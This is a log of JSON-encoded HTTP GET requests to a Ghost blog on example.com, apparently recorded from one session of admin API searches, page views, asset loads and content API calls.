{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27news%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27news%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=news&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&filter=tags.name%3A%7E%27Alice%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/users/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/labels/?filter=name%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/comments/?filter=html%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/posts/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/search-index/pages/?filter=title%3A%7E%27Alice%27&limit=20", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=Alice&limit=100&order=created_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Ashell-tips-htaccess%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Anews%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/built/screen.css?v=xPGozQS2SFMZDlmQ", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/cards.min.css?v=WwnU9jw5ancNC8Gc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/built/source.js?v=33sa4-qy5thAFPQH", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/fonts/inter-roman.woff2?v=OecsB5TBLy27FKD2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/cards.min.js?v=mLGdiz8Ij-Hk3ydN", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/comment-counts.min.js?v=oFYkaGLdiMqB8VN9", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/member-attribution.min.js?v=AKG4hWena9j3yX3I", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w320/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/post.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w1200/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/python3/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/powershell/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
